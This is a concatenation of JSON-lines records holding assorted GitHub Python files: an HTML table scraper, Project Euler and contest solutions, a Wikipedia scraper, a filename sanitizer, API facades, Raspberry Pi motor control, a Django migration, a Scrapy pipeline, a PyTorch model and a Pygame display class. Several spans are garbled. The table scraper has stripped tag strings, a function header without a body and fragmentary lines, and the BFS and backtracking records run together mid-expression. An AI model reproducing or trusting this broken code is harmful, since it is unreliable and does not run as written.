pm\nResume: 9:24 pm\nDone: 10:11pm https://www.w3schools.com/html/html_tables.asp\nTotal time: 1:40 + 0:50 = 2:30\n'''\n\nimport urllib.request\n\nimport pandas as pd\n\nURL = \"http://www.python.org\"\n# URL = \"https://www.w3schools.com/html/html_tables.asp\"\n# URL = \"https://en.wikipedia.org/wiki/Maginot_Line\"\n\n## hard\n# URL = \"https://ca.finance.yahoo.com/quote/AAPL/cash-flow?p=AAPL\" # AAPL Stock\n# URL = 'http://finance.yahoo.com/q?s=aapl&ql=1'\n\n# htmlSplit = urllib.request.urlopen('http://finance.yahoo.com/q?s=aapl&ql=1').read().decode(\"utf8\")\n\n\nfp = urllib.request.urlopen(URL)\nmybytes = fp.read()\nmystr = mybytes.decode(\"utf8\")\nfp.close()\n\nhtmlSplit = mystr.split('\\n') # .replace('>','>\\n')\n# for i in htmlSplit:\n# print(i)\nprint(type(htmlSplit)) # list\n\n\ndef delete_tag_with_prarams(data, first_bit_of_first_tag='')\n # print(start_index, \" | \", end_index)\n to_remove = data[start_index:end_index + 1]\n data = data.replace(to_remove, '').replace(closing_tag, '')\n # print('delete_tag_with_prarams POST: ', data)\n return data\n\n\ndef clean(data):\n if len(data) == 0:\n return ''\n\n if data[0] == '>':\n data = data[1:]\n data = data.replace('><', '> <')\n data = data.replace('\">', ' >')\n\n strings_to_remove = ['

', '

', '', '', '', '', '', '<', '>', '≤', '≥']\n for i in strings_to_remove:\n data = data.replace(i, '')\n\n print('cleaning: ', data)\n while True:\n data_copy = data\n data = delete_tag_with_prarams(data, '')\n data = delete_tag_with_prarams(data, '')\n data = delete_tag_with_prarams(data, '')\n data = delete_tag_with_prarams(data, '')\n data = delete_tag_with_prarams(data, '')\n data = delete_tag_with_prarams(data, '')\n # data = delete_tag_with_prarams(data, '')\n\n if '')\n end_index = data.find('' in line:\n list_of_tables.append(nested_array)\n nested_array = []\n\n nest = ''\n\n if '')\n end_index = line.find('')\n end_index = line.rfind(' 0:\n # nested_array.append(nest)\n\n return list_of_tables\n\n\nlist_of_nested_arrays = []\nnested_array = []\nlines = []\nflip = False\n\nfor line in htmlSplit:\n if '' in line:\n flip = False\n nested_array = process(lines)\n list_of_nested_arrays.append(nested_array)\n for i in nested_array:\n print(i)\n # exit()\n\nprint('=========================================================')\nfor array in list_of_nested_arrays:\n print(pd.DataFrame(array).head())\n","repo_name":"alik604/cyber-security","sub_path":"Utilities/Get HTML tables/get HTML tables.py","file_name":"get HTML tables.py","file_ext":"py","file_size_in_byte":4157,"program_lang":"python","lang":"en","doc_type":"code","stars":150,"dataset":"github-code","pt":"31"} +{"seq_id":"42314779362","text":"# Continuation of #108\n# For n = p1^a1 * p2^a2 * ..., obvious realization that a1 >= a2 >= ...\nsmall_primes = (2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43) # 3^14 > 4 million\npow_list = []\n\ndef gen_pow_list(l):\n if len(l) == 14:\n global pow_list\n pow_list.append(l)\n else:\n for i in range(l[-1] + 1):\n gen_pow_list(l + [i])\n\n\nfor i in range(1, 5):\n gen_pow_list([i])\n\nleast_n = 10**20\nfor l in pow_list:\n d = 1\n for a in l:\n d *= 2*a + 1\n if d > 2*4000000 - 1:\n n = 1\n for i in range(len(l)):\n n *= small_primes[i] ** l[i]\n least_n = min(least_n, n)\n\nprint(least_n)\n","repo_name":"jxu/PyPE","sub_path":"src/110.py","file_name":"110.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13441473462","text":"import queue\ndef s(n,m,a,b,c)->list:\n d=[[0 for _ in range(m) ] for _ in range(n)]\n q=queue.Queue()\n q.put((a,b,c), )\n while not q.empty():\n a,b,c=q.get()\n if not (0<=a' and int(stack[-1]) > i):\n stack.append(str(i))\n bt(n+1)\n stack.pop()\n\nk = int(input())\nop = input().split()\nvisited = [0]*10\nmin_v = int('9'*(k+1))\nmax_v = 0\nstack = []\nbt(0)\nprint(max_v)\nprint(str(min_v).zfill(k+1))","repo_name":"SSAFY-algamza/ssafy-algorithm-study","sub_path":"f1rstf1y9/BOJ/BOJ_2529_부등호.py","file_name":"BOJ_2529_부등호.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12679000945","text":"from PVG import *\r\n\r\nrender = Canvas(\"main_closure.png\").render()\r\n\r\n# polygon1 = square(P0,1.0)\r\npolygon1 = Circle(Point(0.0,0.0),1.0).polygon(4)\r\npolygon2 = Circle(Point(1.0,0.0),1.0).polygon(4)\r\n# polygon2 = square(Point(0.5,0.5),1.0)\r\nrender.drawpolygons([polygon1,polygon2],Color.red(0.5))\r\n\r\nrandom.seed(0.0)\r\nfor (spoly1,spoly2) in polygon2.closures(polygon1):\r\n render.drawpolygons([poly.reduce(0.9) for poly in [spoly1,spoly2]],Color.rand(0.5))\r\n\r\nrender.end()\r\n\r\n","repo_name":"JulienLeonard/PVG","sub_path":"examples/main_closure.py","file_name":"main_closure.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"31"} +{"seq_id":"12386850802","text":"from bs4 import BeautifulSoup\nimport requests\nimport re\n\n\ndef WebScraping():\n \n URL = 'https://en.wikipedia.org/wiki/List_of_computer_scientists'\n\n response = requests.get(URL)\n\n soup = BeautifulSoup(response.text, 'html.parser')\n ul_elements = soup.find_all('ul')\n\n scientists_data = []\n\n # RE to match English letters only\n english_letters = re.compile(r'^[a-zA-Z\\s-]+$')\n \n valuable_data=1\n # Loop the
    elements and extract scientist info\n for ul_element in ul_elements:\n # Find the li elements\n li_elements = ul_element.find_all('li')\n for li_element in li_elements:\n surname = \"\"\n awards = 0\n education = \"None\"\n \n text = re.sub(r'\\([^)]*\\)', '', li_element.get_text().strip())\n parts = text.split('–', 1)\n \n if len(parts) == 1:\n if(81 large:\n large = product\n product = 1\n for k in range(4):\n product *= grid[x + k][y]\n if product > large:\n large = product\nfor y in range(20 - 3):\n for x in range(20 - 3):\n product = 1\n for k in range(4):\n product *= grid[y + k][x + k]\n if product > large:\n large = product\n product = 1\n for k in range(4):\n product *= grid[y + k][x - k + 3]\n if product > large:\n large = product\nprint(large)\n","repo_name":"nsid10/Project-euler","sub_path":"problems/011.py","file_name":"011.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33446166780","text":"# -*- coding: utf-8 -*-\n# @author: vuolter\n\nfrom __future__ import absolute_import, unicode_literals\n\nimport os\nimport re\nimport sys\n\nfrom future import standard_library\n\nstandard_library.install_aliases()\n\n\ndef chars(text, chars, repl=''):\n return re.sub(r'[{0}]+'.format(chars), repl, text)\n\n\n_UNIXBADCHARS = ('\\0', '/', '\\\\')\n_MACBADCHARS = _UNIXBADCHARS + (':',)\n_WINBADCHARS = _MACBADCHARS + ('<', '>', '\"', '|', '?', '*')\n_WINBADWORDS = (\n 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',\n 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',\n 'con', 'prn')\n\ndef name(text, sep='_', allow_whitespaces=False):\n \"\"\"\n Remove invalid characters.\n \"\"\"\n if os.name == 'nt':\n bc = _WINBADCHARS\n elif sys.platform == 'darwin':\n bc = _MACBADCHARS\n else:\n bc = _UNIXBADCHARS\n repl = r''.join(bc)\n if not allow_whitespaces:\n repl += ' '\n name = chars(text, repl, sep).strip()\n if os.name == 'nt' and name.lower() in _WINBADWORDS:\n name = sep + name\n return name\n\n\ndef pattern(text, rules):\n for rule in rules:\n try:\n pattr, repl, flags = rule\n except ValueError:\n pattr, repl = rule\n flags = 0\n text = re.sub(pattr, repl, text, flags)\n return text\n\n\ndef truncate(text, offset):\n maxtrunc = len(text) // 2\n if offset > maxtrunc:\n raise ValueError(\"String too short to truncate\")\n trunc = (len(text) - offset) // 3\n return \"{0}~{1}\".format(text[:trunc * 2], text[-trunc:])\n\n\ndef uniqify(seq):\n \"\"\"\n Remove duplicates from list preserving order.\n \"\"\"\n seen = set()\n seen_add = seen.add\n return type(seq)(x for x in seq if x not in seen and not seen_add(x))\n","repo_name":"pyblub/notpyload","sub_path":"src/pyload/utils/purge.py","file_name":"purge.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17304676435","text":"import json\n\nfrom internal.classes.domain.classes import Classes\nfrom internal.classes.infrastructure.repository.json.dto.classes import ClassesDTO\n\n\nclass DTOClassesMapperRead:\n def dto_class_to_domain(self, class_obj: ClassesDTO) -> Classes:\n pass\n\n\nclass ClassesRepositoryRead(DTOClassesMapperRead):\n def __init__(self, mapper: DTOClassesMapperRead, filename_classes: str):\n self.mapper = mapper\n self.filename_classes = filename_classes\n\n def get_class_by_class_id(self, class_id: str) -> Classes:\n try:\n with open(self.filename_classes, 'r') as file:\n class_data = json.load(file)\n\n if class_id not in class_data:\n raise Exception(f\"No class found for class_id: {class_id}\")\n\n class_dto = ClassesDTO(**class_data[class_id])\n class_domain = self.mapper.dto_class_to_domain(class_dto)\n\n return class_domain\n except Exception as e:\n raise e\n","repo_name":"julianVelandia/ClassAndStudentAPIPython","sub_path":"internal/classes/infrastructure/repository/json/read/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2709605478","text":"\nfrom app.api.abstract_facade import JSONAPIAbstractFacade\nfrom app.models import PersonHasRole\n\n\nclass PersonHasRoleFacade(JSONAPIAbstractFacade):\n \"\"\"\n\n \"\"\"\n TYPE = \"person-has-role\"\n TYPE_PLURAL = \"persons-having-roles\"\n\n MODEL = PersonHasRole\n\n @property\n def id(self):\n return self.obj.id\n\n @property\n def resource(self):\n resource = {\n **self.resource_identifier,\n \"attributes\": {\n \"function\": self.obj.function,\n \"field\": self.obj.field\n },\n \"meta\": self.meta,\n \"links\": {\n \"self\": self.self_link\n }\n }\n\n if self.with_relationships_links:\n resource[\"relationships\"] = self.get_exposed_relationships()\n return resource\n\n def __init__(self, *args, **kwargs):\n super(PersonHasRoleFacade, self).__init__(*args, **kwargs)\n \"\"\"Make a JSONAPI resource object describing what is the relation between a person and its role within a document\n \"\"\"\n # ===================================\n # Add simple relationships\n # ===================================\n from app.api.document.facade import DocumentFacade\n from app.api.person.facade import PersonFacade\n from app.api.person_role.facade import PersonRoleFacade\n\n for rel_name, (rel_facade, to_many) in {\n \"person-role\": (PersonRoleFacade, False),\n \"document\": (DocumentFacade, False),\n \"person\": (PersonFacade, False),\n }.items():\n u_rel_name = rel_name.replace(\"-\", \"_\")\n\n self.relationships[rel_name] = {\n \"links\": self._get_links(rel_name=rel_name),\n \"resource_identifier_getter\": self.get_related_resource_identifiers(rel_facade, u_rel_name, to_many),\n \"resource_getter\": self.get_related_resources(rel_facade, u_rel_name, to_many),\n }\n\n def get_data_to_index_when_added(self, propagate):\n return self.get_relationship_data_to_index(rel_name=\"person\")\n\n\nclass PersonHasRoleIncludedFacade(PersonHasRoleFacade):\n def __init__(self, *args, **kwargs):\n super(PersonHasRoleIncludedFacade, self).__init__(*args, **kwargs)\n\n @property\n def resource(self):\n resource = {\n **self.resource_identifier,\n \"attributes\": {\n \"function\": self.obj.function,\n \"field\": self.obj.field,\n \"person_id\": self.obj.person_id,\n \"document_id\": self.obj.document_id,\n \"role_id\": self.obj.person_role_id,\n \"document_title\": self.obj.document.title,\n \"document_creation_label\": self.obj.document.creation_label\n },\n \"meta\": self.meta,\n \"links\": {\n \"self\": self.self_link\n }\n }\n\n return resource\n","repo_name":"chartes/lettres-app","sub_path":"app/api/person_has_role/facade.py","file_name":"facade.py","file_ext":"py","file_size_in_byte":2923,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"274095617","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Mar 21 20:06:50 2020\r\n\r\n@author: Pratiksha\r\n\r\nThis function analyses a list/string and helps to return the top n entities\r\nin the list/string according to their number of occurences in descending order\r\nwhere n is a number that is specified by the programmer.\r\n\r\n\"\"\"\r\n\r\nfrom collections import Counter \r\n \r\narr =list(map(int,input('Enter the list : ').split())) \r\ntop=int(input('Enter number of values required : '))\r\ncounter = Counter(arr) \r\ntop_values = counter.most_common(top) \r\nprint(top_values) ","repo_name":"PratikshaDanti/APS","sub_path":"Code Library/54.Counter_Demo.py","file_name":"54.Counter_Demo.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15087860884","text":"#!/usr/bin/env python2.7\n# Python 2.7 version by Alex Eames of http://RasPi.TV \n# functionally similar to the Gertboard motor test by Gert Jan van Loo & Myra VanInwegen\n# Use at your own risk - I'm pretty sure the code is harmless, but check it yourself.\n# It works pretty well on Raspbian August 2012, but stutters a bit on the September release\n\nfrom __future__ import print_function # all print statements in this prog must now be in python 3 format\nimport RPi.GPIO as GPIO\nimport sys\nfrom time import sleep\n\nGPIO.setmode(GPIO.BCM)\nports = [18,17] # define which ports to be pulsed (using a list)\nReps = 400 # 2000 Hz cycle time, so Reps=400 is 0.2s for each percentage ON\nHertz = 2000 # Cycle time. You can tweak this, Max 3000 \nFreq = (1 / float(Hertz)) - 0.0003 # run_motor loop code takes 0.0003s\n\nfor port_num in ports: # set the ports up for output\n GPIO.setup(port_num, GPIO.OUT) # set up GPIO output channel\n print (\"setting up GPIO port:\", port_num)\n GPIO.output(port_num, False) # set both ports to OFF\n \ndef run_motor(Reps, pulse_width, port_num, time_period):\n try: # try: except:, traps errors\n for i in range(0, Reps):\n GPIO.output(port_num, True) # switch port on\n sleep(pulse_width) # make sure pulse stays on for correct time\n GPIO.output(port_num, False) # switch port off\n sleep(time_period) # time_period for port OFF defined in run_loop\n except KeyboardInterrupt: # reset all ports used by this program if CTRL-C pressed\n GPIO.cleanup()\n\ndef run_loop(startloop, endloop, step, port_num, printchar):\n for pulse_width_percent in range(startloop, endloop, step):\n print (printchar, sep='', end='')\n sys.stdout.flush()\n pulse_width = pulse_width_percent / float(100) * Freq # define exact pulse width\n time_period = Freq - (Freq * pulse_width_percent / float(100)) # sleep period needed to get required Hz\n run_motor(Reps, pulse_width, port_num, time_period)\n print(\"\") # print line break between runs\n\nprint (\"\\nThese are the connections for the motor test:\") # Print wiring instructions\nprint (\"GP17 in J2 --- MOTB (just above GP1)\")\nprint (\"GP18 in J2 --- MOTA (just above GP4)\")\nprint (\"+ of external power source --- MOT+ in J19\")\nprint (\"ground of external power source --- GND (any)\")\nprint (\"one wire for your motor in MOTA in J19\")\nprint (\"the other wire for your motor in MOTB in J19\")\ncommand = raw_input(\"When ready hit enter.\\n>\")\n\nprint (\">>>\", sep='', end='')\nrun_loop(5, 95, 1, 18,'+') # (startloop, endloop, step, port_num, printchar, loopnum)\nrun_loop(95, 5, -1, 18,'-') # if you go all the way to 100% it seems out of control at the changeover\nsleep(0.2) # a slight pause before change direction stops sudden motor jerking\nprint (\"<<<\", sep='', end='')\nrun_loop(5, 95, 1, 17,'+')\nrun_loop(95, 5, -1, 17,'-')\n\nGPIO.output(port_num, False) # Finish up: set both ports to off\nGPIO.cleanup() # reset all ports used by this program on finishing\n","repo_name":"Ambella/Electronics","sub_path":"RPi/GertBoard/GB_Python/motor-rg.py","file_name":"motor-rg.py","file_ext":"py","file_size_in_byte":3621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32808311208","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\nimport django.utils.timezone\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Admin_code',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, serialize=False, auto_created=True)),\n ('code', models.CharField(verbose_name='API用密链', max_length=50, default='test')),\n ],\n ),\n migrations.CreateModel(\n name='Authorization',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, serialize=False, auto_created=True)),\n ('customer_QQ', models.PositiveIntegerField(verbose_name='客户的QQ')),\n ('bot_QQ', models.PositiveIntegerField(verbose_name='机器人的QQ')),\n ('begin_time', models.DateField(verbose_name='创建时间', auto_now_add=True)),\n ('deadline_time', models.DateField(verbose_name='到期时间', default=django.utils.timezone.now)),\n ('proxy_man', models.ForeignKey(verbose_name='代理', to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='Others_info',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, serialize=False, auto_created=True)),\n ('balance', models.PositiveIntegerField(verbose_name='用户余额', default=0)),\n ('ad', models.CharField(verbose_name='代理广告', max_length=30)),\n ('TOKEN', models.CharField(verbose_name='API密链', max_length=15, unique=True)),\n ('user', models.OneToOneField(to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='Software',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, serialize=False, auto_created=True)),\n ('software_id', models.PositiveIntegerField(verbose_name='软件ID', unique=True)),\n ('software_name', models.CharField(verbose_name='软件名', max_length=30)),\n ('software_version_number', models.CharField(verbose_name='软件版本号', max_length=30, default='V1.0')),\n ('software_each_time', models.PositiveIntegerField(verbose_name='套餐时间(按小时计算)', default=720)),\n ('software_cost', models.PositiveIntegerField(verbose_name='套餐价格', default=10)),\n ],\n ),\n migrations.CreateModel(\n name='Time_code',\n fields=[\n ('id', models.AutoField(verbose_name='ID', primary_key=True, serialize=False, auto_created=True)),\n ('time', models.PositiveIntegerField(verbose_name='时长')),\n ('code', models.CharField(verbose_name='卡密', max_length=10)),\n ('cost', models.PositiveIntegerField(verbose_name='价格')),\n ('used', models.BooleanField(verbose_name='是否使用过', default=False)),\n ('proxy_man', models.ForeignKey(verbose_name='代理', null=True, to=settings.AUTH_USER_MODEL)),\n ('software', models.ForeignKey(verbose_name='软件对象', to='main_app.Software')),\n ],\n ),\n migrations.AddField(\n model_name='authorization',\n name='software',\n field=models.ForeignKey(verbose_name='软件对象', to='main_app.Software'),\n ),\n ]\n","repo_name":"simplerjiang/proxy_code_system","sub_path":"main_app/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":3718,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"31"} +{"seq_id":"44801907718","text":"# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\n\n\n# useful for handling different item types with a single interface\nfrom itemadapter import ItemAdapter\nimport sqlite3\nimport pickle\n\nclass OryxPipeline:\n def __init__(self):\n with open('name.p', 'rb') as file:\n self.name = pickle.load(file)\n self.create_connection() \n \n def create_connection(self):\n self.conn = sqlite3.connect(self.name + \".db\")\n self.curr = self.conn.cursor()\n \n def process_item(self, item, spider):\n self.store_db(item)\n\n return item\n\n def store_db(self, item):\n self.curr.execute(\"\"\"insert into quotes_tb values (?,?,?,?)\"\"\", (\n item['data'],\n item['country'],\n item['staf'],\n item['content']\n ))\n \n self.conn.commit()","repo_name":"pawelgoj/exemplary_scraping_project","sub_path":"oryx/oryx/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70441688408","text":"#!/usr/bin/env python3\nimport sys\ndef get_suffix(filename, has_dot=False):\n '''\n Get suffix of file\n\n :param filename: filename\n :param has_dot: Do the returned suffix names need to be dotted\n :return: suffix\n '''\n pos = filename.rfind('.')\n if 0 < pos < len(filename) - 1:\n index = pos if has_dot else pos + 1\n return filename[index:]\n else:\n return ''\n\nif __name__ == '__main__':\n print(get_suffix(sys.argv[1]))\n","repo_name":"Yao-Phoenix/day_code","sub_path":"suffix.py","file_name":"suffix.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"31146004269","text":"import random\nfrom typing import List\nfrom agent import Agent\nfrom information import Information\nfrom position import Position\nfrom grid import Grid\n\ndef main():\n random.seed(42)\n g = Grid()\n print(g)\n\n print(\"### TESTING ADD AGENT ###\")\n ################# testing addAgent\n p = Position(1,1)\n g._addAgent(p)\n print(len(g._agents))\n print(g)\n\n #agent30 = g._findAgent(30)\n #print(g._agentsInRange(agent30)[0])\n ############## testing agentInRange when spread radius is 1\n print(\"### TESTING AGENT IN RANGE RANGE 1 ###\")\n agent9 = g._findAgent(9)\n p2 = Position(1,3)\n g._addAgent(p2)\n #test = g._agentsInRange(agent9)\n #for a in test:\n #print(a)\n\n ############ testing agentInRange when spread radius is 2\n print(\"### TESTING AGENT IN RANGE RANGE 2 ###\")\n test = g._agentsInRange(agent9)\n for a in test:\n print(a)\n \n ########## testing algorithm\n print(\"### TESTING ALGORITHM\")\n\n #agent12 = g._findAgent(12)\n #test = g._agentsInRange(agent12)\n agent_ = g._findAgent(12) #25\n #print(agent_)\n test = g._agentsInRange(agent_)\n for a in test:\n print(a)\n\n print(g)\n random.seed(40)\n g.simulate(1)\n\n\n\nmain()\n","repo_name":"AruPV/FinalProject","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34354456127","text":"import torch\nimport torch.nn as nn\n\nimport torch.nn.functional as F\n\nclass BaseModule(nn.Module):\n def __init__(self):\n super().__init__()\n self.conv1 = nn.Conv2d(3, 8, 5, padding=1)\n self.max_pool1 = nn.MaxPool2d(kernel_size=2)\n self.conv2 = nn.Conv2d(8, 16, kernel_size=3, padding=1)\n self.max_pool2 = nn.MaxPool2d(kernel_size=2)\n self.conv3 = nn.Conv2d(16, 32, kernel_size= 1, padding=1)\n\n def forward(self, x):\n x = self.conv1(x)\n x = torch.relu(x)\n x = self.max_pool1(x)\n x = self.conv2(x)\n x = torch.relu(x)\n x = self.max_pool2(x)\n x = self.conv3(x)\n\n return x\n\n\nclass FinalClassifier(nn.Module):\n def __init__(self):\n super().__init__()\n self.fc1 = nn.Linear(32*9*9, 10)\n self.sm = nn.Softmax(-1)\n\n def forward(self, x):\n x = x.view(x.size()[0], -1)\n x = self.fc1(x)\n return self.sm(x)\n # return x\n\n\nclass ConfidenceEval(nn.Module):\n def __init__(self):\n super().__init__()\n self.conv1 = nn.Conv2d(32, 16, 1)\n self.max_pool1 = nn.MaxPool2d(kernel_size=2)\n self.fc1 = nn.Linear(256, 1)\n\n def forward(self, x):\n x = self.conv1(x)\n x = torch.relu(x)\n x = self.max_pool1(x)\n x = x.view(x.size(0), -1)\n x = self.fc1(x)\n return torch.tanh(x)\n\nclass QueryMachine(nn.Module):\n def __init__(self):\n super().__init__()\n self.conv1 = nn.Conv2d(32, 64, 1)\n self.conv2 = nn.Conv2d(64, 16, 1)\n # self.max_pool = nn.MaxPool2d(kernel_size=3)\n\n def forward(self, x):\n x = self.conv1(x)\n # x = torch.relu(x)\n\n # x = self.max_pool(x)\n return x\n\nclass AnsMachine(nn.Module):\n def __init__(self):\n super().__init__()\n self.conv1 = nn.Conv2d(32 + 16, 64, kernel_size=1)\n self.conv2 = nn.Conv2d(64, 32, kernel_size=1)\n self.batch_norm = nn.BatchNorm2d(32)\n def forward(self, x, q):\n unified = torch.cat((q, x), dim=1)\n unified = F.relu(self.conv1(unified))\n unified = F.relu(self.conv2(unified))\n unified = self.batch_norm(unified)\n return torch.tanh(unified)\n\n\n\n\nclass TM(nn.Module):\n def __init__(self, device, conf_threshold = 0.0, max_depth= 15):\n super().__init__()\n self.device = device\n self.base_module = BaseModule()\n self.max_depth = max_depth\n self.conf_threshold = conf_threshold\n self.f_cls = FinalClassifier()\n self.conf_eval = ConfidenceEval()\n self.q_m = QueryMachine()\n self.a_m = AnsMachine()\n\n def forward(self, mini_batch, compute_outputs = True):\n #todo different forward for train and eval\n\n all_confs = []\n all_f_cls = []\n\n batch_size = len(mini_batch)\n\n actual_depth = torch.ones(batch_size, device=self.device, dtype=torch.long) * self.max_depth\n\n x = self.base_module(mini_batch)\n\n depth = 0\n\n while depth < self.max_depth and (self.training or actual_depth.max() == self.max_depth):\n depth += 1\n current_confs = self.conf_eval(x)\n\n # print(\"CONF: \",current_confs.mean())\n current_f_cls = self.f_cls(x)\n acceptable_conf = (( current_confs.squeeze() < self.conf_threshold).nonzero()).view(-1)\n\n # print(acceptable_conf)\n\n depth_tensor = torch.ones(len(acceptable_conf), device= self.device, dtype=torch.long) * depth\n actual_depth[acceptable_conf] = torch.min(input = actual_depth[acceptable_conf], other = depth_tensor)\n\n all_confs.append(current_confs)\n all_f_cls.append(current_f_cls)\n\n q = self.q_m(x)\n a = self.a_m(x, q)\n\n x = x + a\n\n if self.training:\n all_f_cls.append(self.f_cls(x))\n\n outputs = []\n\n all_f_cls = torch.stack(all_f_cls).transpose(0, 1)\n all_confs = torch.stack(all_confs).transpose(0, 1).squeeze(-1)\n\n if compute_outputs:\n for sample_idx in range(batch_size):\n outputs.append(all_f_cls[sample_idx, actual_depth[sample_idx] - 1, :])\n outputs = torch.stack(outputs)\n\n if self.training:\n return outputs, all_f_cls, all_confs, actual_depth\n else:\n return outputs\n\n\n","repo_name":"Tensor-Reloaded/Thinking-Machine","sub_path":"tm/thinking_machine.py","file_name":"thinking_machine.py","file_ext":"py","file_size_in_byte":4346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4142428429","text":"\"\"\"\n5/11/2023 by Zehao Li\n\nThis script defines the Screen class for a Pygame-based graphical user interface. The main function of this class is\nto display video feed from a camera and overlay it with text messages. The display is set up to work specifically on\na Raspberry Pi device with a PiTFT touchscreen. The video feed can be processed for errors and adjusted for display\nrequirements. The class also handles user interactions with the touchscreen.\n\"\"\"\nimport cv2\nimport pygame\nimport numpy as np\nimport time\nimport os\n\n\n# Defining a Screen class for video feed display and user interface operations\nclass Screen():\n def __init__(self):\n super()\n self.font = None\n self.lcd = None\n self.init_pygame()\n self.message = None\n self.message_start_time = None\n self.frame = None\n self.surface = None\n\n # Initialize Pygame with necessary settings\n def init_pygame(self):\n # Setting up the video driver and mouse driver\n os.environ[\"SDL_VIDEODRIVER\"] = \"fbcon\"\n os.putenv('SDL_FBDEV', '/dev/fb0') #\n os.putenv('SDL_MOUSEDRV', 'TSLIB') # Track mouse clicks on piTFT\n os.putenv('SDL_MOUSEDEV', '/dev/input/touchscreen')\n pygame.init()\n # Setting up the display\n self.lcd = pygame.display.set_mode((320, 240))\n pygame.mouse.set_visible(False)\n self.font = pygame.font.Font(None, 30) # Choose font size and type\n\n # Method to process a frame for display\n def get_processed_frame(self):\n frame = self.frame\n ret, buffer = cv2.imencode('.jpg', frame)\n frame = buffer.tobytes()\n return frame\n\n # Method to update the displayed frame from the camera feed\n def update_from_camera(self, frame, roll_error=None):\n # Checking if a valid frame was provided\n if frame is not None and not frame.size == 0:\n # Checking if a roll error was provided\n if roll_error is not None:\n # Rotate the image with the degrees of roll error to balance the video frame\n rotation_matrix = cv2.getRotationMatrix2D((320, 240), -roll_error, 1)\n rotated_frame = cv2.warpAffine(frame, rotation_matrix, (640, 480))\n cropped_frame = rotated_frame[120:380, 100:500]\n self.frame = cropped_frame\n frame = cv2.resize(cropped_frame, (320, 240), interpolation=cv2.INTER_NEAREST)\n # Convert the color format from BGR to RGB for display with Pygame\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) # Convert to RGB format for Pygame\n else:\n # Resizing and converting the color format of the frame if no roll error was provided\n self.frame = frame\n frame = cv2.resize(frame, (320, 240), interpolation=cv2.INTER_NEAREST)\n # Convert the color format from BGR to RGB for display with Pygame\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) # Convert to RGB format for Pygame\n\n # Rotating and flipping the frame for correct orientation\n frame = np.rot90(frame)\n frame = np.flipud(frame)\n # Creating a Pygame surface from the frame\n surface = pygame.surfarray.make_surface(frame)\n # Convert the frame surface to the same format as the destination surface (self.lcd)\n surface = surface.convert(self.lcd)\n # Displaying the frame on the screen\n self.lcd.blit(surface, (0, 0))\n self.surface = surface\n\n # Displaying a message on the screen for 2 seconds\n if self.message and self.message_start_time:\n if time.time() - self.message_start_time < 2:\n text_surface = self.font.render(self.message, True, (255, 255, 255))\n text_width, text_height = text_surface.get_size()\n text_position = (160 - text_width // 2, 120 - text_height // 2)\n self.lcd.blit(text_surface, text_position) # Position the message on the screen\n else:\n self.message = None\n self.message_start_time = None\n # Update the Pygame display\n pygame.display.update()\n else:\n # If no frame was provided, keep displaying the last frame\n if self.surface is not None:\n self.lcd.blit(self.surface, (0, 0))\n pygame.display.update()\n\n # Method to set a message to be displayed on the screen\n def show_message(self, message):\n self.message = message\n self.message_start_time = time.time()\n","repo_name":"xalzh/ECE5725-Final-Project","sub_path":"Update_Screen.py","file_name":"Update_Screen.py","file_ext":"py","file_size_in_byte":4680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33993312868","text":"class AdjacencyList:\n def __init__(self, nodes):\n self.Nodes = 